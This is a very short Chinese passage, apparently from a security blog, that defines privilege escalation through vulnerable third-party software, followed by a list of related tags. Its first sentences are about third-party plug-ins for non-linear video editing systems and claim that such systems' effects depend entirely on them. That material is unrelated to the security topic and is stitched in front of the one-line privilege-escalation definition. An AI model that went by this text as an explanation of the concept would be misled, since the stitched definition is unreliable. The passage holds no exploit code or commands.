第三方软件指的是该非线性编辑系统生产商以外的软件公司提供的软件,功能十分强大,有些甚至是从工作站转移过来的,可以这么说,非线性编辑系统之所以能做到效果变幻莫测,匪夷所思,吸引众人的视线,完全取决于第三方软件。第三方软件提权,就是利用第三方软件存在的漏洞来进行获取一个权限的操作。

你可能感兴趣的:(安全,渗透测试,windows,web安全,安全,系统安全)